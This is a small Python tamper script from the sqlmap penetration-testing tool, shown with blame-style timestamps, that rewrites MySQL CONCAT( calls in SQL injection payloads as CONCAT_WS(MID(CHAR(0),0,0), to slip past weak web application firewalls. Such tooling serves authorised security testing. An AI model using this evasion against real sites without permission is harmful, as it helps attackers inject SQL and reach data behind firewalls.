2019-05-08 13:47:52 +03:00
|
|
|
#!/usr/bin/env python
|
2013-11-09 03:23:34 +04:00
|
|
|
|
|
|
|
"""
|
2024-01-04 01:11:52 +03:00
|
|
|
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
|
2017-10-11 15:50:46 +03:00
|
|
|
See the file 'LICENSE' for copying permission
|
2013-11-09 03:23:34 +04:00
|
|
|
"""
|
|
|
|
|
2018-02-10 13:06:31 +03:00
|
|
|
import os
|
|
|
|
|
2018-02-08 18:49:16 +03:00
|
|
|
from lib.core.common import singleTimeWarnMessage
|
|
|
|
from lib.core.enums import DBMS
|
2013-11-09 03:23:34 +04:00
|
|
|
from lib.core.enums import PRIORITY
|
|
|
|
|
|
|
|
__priority__ = PRIORITY.HIGHEST
|
|
|
|
|
|
|
|
def dependencies():
|
2018-02-08 18:49:16 +03:00
|
|
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
|
2013-11-09 03:23:34 +04:00
|
|
|
|
|
|
|
def tamper(payload, **kwargs):
|
|
|
|
"""
|
2018-07-31 02:17:11 +03:00
|
|
|
Replaces (MySQL) instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' counterpart
|
2013-11-09 03:23:34 +04:00
|
|
|
|
|
|
|
Requirement:
|
|
|
|
* MySQL
|
|
|
|
|
|
|
|
Tested against:
|
|
|
|
* MySQL 5.0
|
|
|
|
|
|
|
|
Notes:
|
|
|
|
* Useful to bypass very weak and bespoke web application firewalls
|
|
|
|
that filter the CONCAT() function
|
|
|
|
|
|
|
|
>>> tamper('CONCAT(1,2)')
|
|
|
|
'CONCAT_WS(MID(CHAR(0),0,0),1,2)'
|
|
|
|
"""
|
|
|
|
|
|
|
|
if payload:
|
|
|
|
payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")
|
|
|
|
|
|
|
|
return payload
|